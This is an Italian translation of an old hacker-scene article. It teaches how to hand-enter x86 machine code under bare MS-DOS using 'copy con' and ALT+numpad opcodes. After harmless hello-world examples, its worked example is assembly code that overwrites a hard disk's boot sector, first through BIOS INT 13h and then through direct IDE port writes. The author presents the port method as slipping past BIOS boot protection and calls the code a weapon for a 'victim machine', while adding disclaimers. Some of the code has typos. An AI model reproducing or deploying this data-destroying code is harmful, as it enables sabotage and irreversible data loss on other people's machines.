Programmare in Condizioni Estreme
by Alexey Kalmykov (aka B52), Tradotto da Lonely Wolf

INTRODUZIONE

Che significa 'Condizioni Estreme'? Quando sei seduto davanti a un computer su cui è installato solo MS-DOS, senza alcun compilatore, editor esadecimale, shells, debuggers e hai bisogno di recuperare dati perduti, rimuovere virus, o scriverne di nuovi. In una situazione del genere la maggioranza dei programmatori non sarà capace di fare niente, e un amministratore di sistema potrà illudersi che il suo sistema sia sicuro.
Ma questo non fermerà il vero Hacker...

Ho scelto MS-DOS come sistema operativo da programmare perché in alcune versioni di Windows ci sono molte cose che faciliteranno questo lavoro (ad esempio in Windows 98 c'è un browser incluso che interpreta VBScript e JavaScript così che si può scrivere facilmente un editor esadecimale e altro).

Questo articolo si dimostrerà interessante sia per i principianti che per gli Hackers esperti Raccomando la lettura ai programmatori, amministratori, e chiunque vuole sentire lo spirito Hacker, che ora sta scomparendo con le vecchie generazioni.

INIZIAMO

Per leggere e capire questo articolo hai bisogno dei seguenti requisiti: conoscenza dell'Assembler, esperienza di lavoro sotto MS-DOS. Avrai anche bisogno di una lista degli opcodes (codici operativi) x86, (puoi trovarli qui su Elf Qrin Hacking Labs), la tavola dei codici ASCII, e un sacco di tempo libero.

Prima di tutto abbiamo bisogno di qualche tipo di editor di testi. Ma l'amministratore ha rimosso tutto quello che potrebbe aiutarci. C'è solo una cosa che fa la differenza tra un buon Hacker da qualsiasi altro Hacker: La sua profonda conoscenza di tutto quello con cui lavora. Se lavora sotto DOS saprà tutto al riguardo.
C'è una funzione non documentata che apre un piccolo editor di testi, ma è sufficiente. Questo comando DOS:

C:\copy con test.com
(con significa "console")

Eseguirai l'editor di testi. Questo è il nostro strumento. Ma non sappiamo ancora come scrivere il file binario.

Se dai un'occhiata al manuale DOS ufficiale, troverai la risposta. Usando il tasto ALT e la tastiera numerica puoi crearlo.

Prima di tutto controlla che il NUMlock sia acceso. Ora premi ALT, scrivi 195, e rilascia il tasto ALT. Per salvare il file e uscire premi CTRL-Z e Invio. Eseguilo.

Questo non fa niente, ma pone in HALT il sistema. Se lo disassembli scoprirai che il file test.com consiste solo nel comando RETN. Come avrai già indovinato l'opcode di RETN è 195 (equivalente a 0xC3 in Hex e 195 in decimale).

FUNZIONI AVANZATE

Prova a inserire questo:

ALT-180 ALT-09 ALT-186 ALT-09 ALT-01 ALT-205 ! ALT-195 ALT 32 Salve Elf Qrin!$

Poi premi CTRL-Z e premi Invio/enter. E' chiaro che questo programma stampa sul video "Salve Elf Qrin!". Disassembliamolo:

49E0:0100                       start:
49E0:0100  B4 09                  mov     ah,9
49E0:0102  BA 0109                mov     dx,offset data_1;
(49E0:0109='Hi !!!!')
49E0:0105  CD 21                  int     21h; Servizio DOS ah=funzione 09h
                                             ; visualizza la stringa puntata ds:dx
49E0:0107  C3                     retn
49E0:0108  20                     db      20h
49E0:0109  48 69 20 21 21 21      data_1   db 'Salve Elf Qrin!!$;  xref 49E0:0102


Spero tu conosca l'ordine inverso della macchina (Little/Big Endian) (ALT-09 ALT-01 = 109). Dunque, per farti vedere la bellezza di questo metodo ho usato il simbolo '!' == 0x21 per richiamare l'interrutpt 0x21. Conoscendo i codici ASCII puoi facilitarti la vita. Ma perché abbiamo bisogno di questo simbolo (20h == ALT-32 == " ") a 49E0:0108 ?

Questo è il problema principale di questo metodo. Usando il tasto ALT e il numero corrispondente che ci interessa, non possiamo inserire alcuni simboli. Ecco una lista di questi:

         0,3,6,8,16(0x10),19(0x13),27(0x1b),255(0xFF)


Dovrai evitare questi simboli. Se guardi il codice, vedrai che il vero offset è 0x108. Dopo aver aggiunto un simbolo l'offset diventa 0x109. C'è un modo più elegante per farlo:

       mov    dx,109
       dec    sx
Queste due varianti sono uguali (dec dx == 1 byte), scegli quella che si addice di più.

Uno dei problemi principali è quello di trovare l'offset delle variabili e delle etichette (label). Puoi scrivere il programma su un foglio, dare alle variabili dei nomi simbolici e poi il programma sarà pronto. Sarà facile trovare i necessari offset e indirizzi.

Un'altra possibilità è di dichiarare le variabili prima del loro uso:

       mov      ah,9
       jmp      sort $+20
       db       'Hi,world!'$
       mov      dx,0x100+2+2; 0x100 - the base address,2 - length of
                            ; mov  ah,9, 2 - length of jmp


jmp short $+20 - riserva 20 byte per la stringa. Questo metodo può anche essere usato per le label.

L'ESEMPIO

Immagino tu sia stanco di questi programmi teorici e ti senta pronto per lavorare con questo metodo. Come esempio proveremo a fare un programma che cancella il Boot Sector. Attenzione! L'uso di questo programma per distruggere informazioni è un crimine. Usalo solo per scopi sperimentali.

Prima di tutto scriviamolo in Assembler.

B80103   mov   ax,00301
B90100   mov   cx,00001
BA8000   mov   dx,00080
CD13     int   013
C3       retn


(Come vedi abbiamo uno #0, un #3 e un #19. Modifichiamo il programma per evitarli):

         xor ax,ax
         mov ds,ax
         mov   ax,00299
         inc   ax
         inc   ax
         xor   cx,cx
         inc   cx
         mov   dl,80
         mov bx,13h*4
         pushf
         cli
         push cs
         call dword ptr [bx]
         retn


E' un esempio abbastanza difficile. La programmazione Assembler e gli Interrupt non sono il soggetto di questo articolo. Posso solo indirizzarti verso altri riferimenti che puoi facilmente trovare su Internet.

E' tutto: metti questo programma nella macchina vittima a avrai un'arma potente. Ti raccomando di usarlo con molta attenzione.

Fortunatamente (o sfortunatamente, depende dall'orientamento del lettore), nel BIOS c'è una protezione da scrittura del boot (boot write protection, qualche volta chiamata "Virus Warning") che bloccherà qualsiasi tentativo di modificare il boot sector. C'è dell'altro, può esserci installato del software speciale. Ad esempio, eseguire questo programma sotto Windows98 non sortirà alcun effetto. Ma possiamo ancora lavorare con le porte I/O dell'Hard Disk a basso livello.

Ecco un esempio di programma che cancellerà il boot sector attraverso le porte I/O dell'Hard Disk:

         mov dx, 1F2h
         mov al,1
         out dx,al
         inc dx
         out dx,al
         inc dx
         xor ax,ax
         out dx,al
         inc dx
         out dx,al
         mov al, 10100000b
         inc dx
         out dx,al
         inc dx
         mov al,30h
         out dx,al
         lea si, Buffer
         mov dx, 1F0h
         mov cx, 513
         rep outsw


Non conosco nessuna protezione famosa che possa 'tracciare' e bloccare quel programma. Comunque, il programma non fa riferimento a Windows NT, questo OS non permette a nessun programma senza i necessari privilegi di lavorare con le porte.

Preparare questo programma per l'inserimento usando i vari ALT e ottimizzando la sua dimensione è un esercizio che lascio ai lettori.

CONCLUSIONE

Non è facile. Tutto questo richiede un sacco di esperienza e talento ma ti dà un incredibile potenza sulla macchina. E spero che non userai questa potenza per distruggere come spero anche che questo articolo possa essere un passo "per tornare al vero Spirito dell'Hacking".